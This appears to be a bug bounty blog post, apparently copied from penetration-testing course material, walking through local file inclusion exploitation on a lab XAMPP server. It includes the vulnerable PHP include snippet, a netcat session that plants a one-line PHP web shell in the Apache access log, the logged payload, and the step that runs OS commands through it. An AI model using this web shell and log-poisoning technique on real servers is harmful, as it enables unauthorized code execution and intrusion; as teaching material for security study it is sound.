Local File Inclusion – File inclusions can be discovered in the same way as directory traversals. We must locate parameters we can manipulate and attempt to use them to load arbitrary files. However, a file inclusion takes this one step further, as we attempt execute the contents of the file within the application.
We should also check these parameters to see if they are vulnerable to remote inclusion (RFI) by changing their values to a URL instead of a local path. We are less likely to find RFI vulnerabilities since the default configuration for modern PHP versions disables remote URL includes, a key feature we need to execute remote code. However, we should still test for RFIs as they are often easier to exploit than LFIs. We can use Netcat, Apache, or Python to handle the request just like we did with XSS. We may need to try hosting our payloads on different ports since any remote connection initiated by the target server may be subject to internal firewalls or routing rules. Some trial and error may be necessary.
Exploiting Local File Inclusion
Let’s return to the sample application on our Windows 10 lab machine. We will pick up where we left off with the directory traversal attack and take a look at the source code of menu.php to clarify what we are dealing with:
- $file = $_GET[“file”];
- include $file; ?>
The application reads in the file parameter from the request query string and then uses that value with an include statement. This means that the application will execute any PHP code within the specified file. If the application opened the file with fread and used echo to display the contents, any code in the file would be displayed instead of executed.
We might be able to push this vulnerability to remote code execution if we can somehow write PHP code to a local file. Since we can’t upload a file to the server, what options do we have?
Contaminating Log Files
One way we can try to inject code onto the server is through log file poisoning. Most application servers will log all URLs that are requested. We can use this to our advantage by submitting a request that includes PHP code. Once the request is logged, we can use the log file in our LFI payload.
The tools used in this module, especially Dirb, can fill the Apache log files with lots of noise. The next steps of this section are easier to see and understand if the log files are relatively clean. We’ll use the Documents/clear_logs.ps1 script on the Windows 10 client to clean up the contents of the Apache log files.
We can run the script with -ExecutionPolicy Bypass to temporarily allow unsigned scripts and -File clear_logs.ps1 to specify the script to execute:
- C:\Users\admin\Documents> powershell -ExecutionPolicy Bypass -File clear_logs.ps1
Next, let’s use Netcat to connect to our Windows 10 lab machine on port 80 with an interesting payload. Let’s walk through the components of the payload.
First, notice that the entire payload is written in PHP: it begins with . The bulk of the PHP payload is a simple echo command that will print output to the page. This output is first wrapped in pre HTML tags, which preserve any line breaks or formatting in the results of the function call. Next is the function call itself, shell_exec, which will execute an OS command. Finally, the OS command is retrieved from the “cmd” parameter of the GET request with _GET[‘cmd’]. This one line of PHP will let us specify an OS command via the query string and output the results in the browser.
Let’s send that payload now:
- kali@kali:~$ nc -nv 10.11.0.22 80
- (UNKNOWN) [10.11.0.22] 80 (http) open
- <?php echo ‘<pre>’ . shell_exec($_GET[‘cmd’]) . ‘<pre>”’;?>
- HTTP/1.1 400 Bad Request
Despite the “Bad Request” error (generated because we did not make a valid HTTP request), we can verify the request was submitted by checking the Apache log files on our Windows 10 lab machine.
We can view these logs by opening C:\xampp\apache\logs\access.log or by using the XAMPP Control Panel.
Our payload should be found near the end of the log file:
10.11.0.4 – – [30/Nov/2019:13:55:12 -0500]
“GET /css/bootstrap.min.css HTTP/1.1” 200 155758 “http://10.11.0.22/menu.php?file=\Windows\System32\drivers\etc\hosts” “Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/
10.11.0.4 – – [30/Nov/2019:13:58:07 -0500] “GET /tacotruck.php HTTP/1.1” 200 1189 “http://10.11.0.22/menu.php?file=/” “Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0”
10.11.0.4 – – [30/Nov/2019:14:01:41 -0500] “” <?php echo ‘<pre>’ . shell_exec($_GET[‘cm d’]) . ‘<pre>’;?>\n” 400 981 “-” “-“
Since our payload has been logged, we can attempt LFI execution.
LFI Code Execution
Next, we’ll use the LFI vulnerability to include the Apache access.log file that contains our PHP payload. We know the application is using an include statement so the contents of the included file will be executed as PHP code.
We’ll build a URL that includes the location of the log as well as our command to be executed ( ipconfig ) sent as the cmd parameter’s value.
Once the URL is sent to the web server, the output should look something like this:
If everything worked as expected, the bottom of the page should include the output of ipconfig .
So what exactly happened here? Thanks to the application’s PHP include statement and our ability to specify which file to include (Listing 295), the contents of the contaminated access.log file were executed by the web page.
The PHP engine in turn runs <?php echo shell_exec($GET[‘cmd’]);?>the portion of the log file’s text (our payload) with the cmd variable’s value of “ipconfig”, essentially running ipconfig on the target and displaying the output. The additional lines in the log file are simply displayed because they do not contain valid PHP code.
This is certainly not what the developer intended!
Now that we have demonstrated how to gain code execution via logfile poisoning, we should be able to get a shell on the system. We will leave that as an exercise for the reader.
Local File Inclusion
Read Complete Article On LFI Acunetix Click Here
If You Like This Blog Please Comment Down
For More Bug Bounty Blog Click Here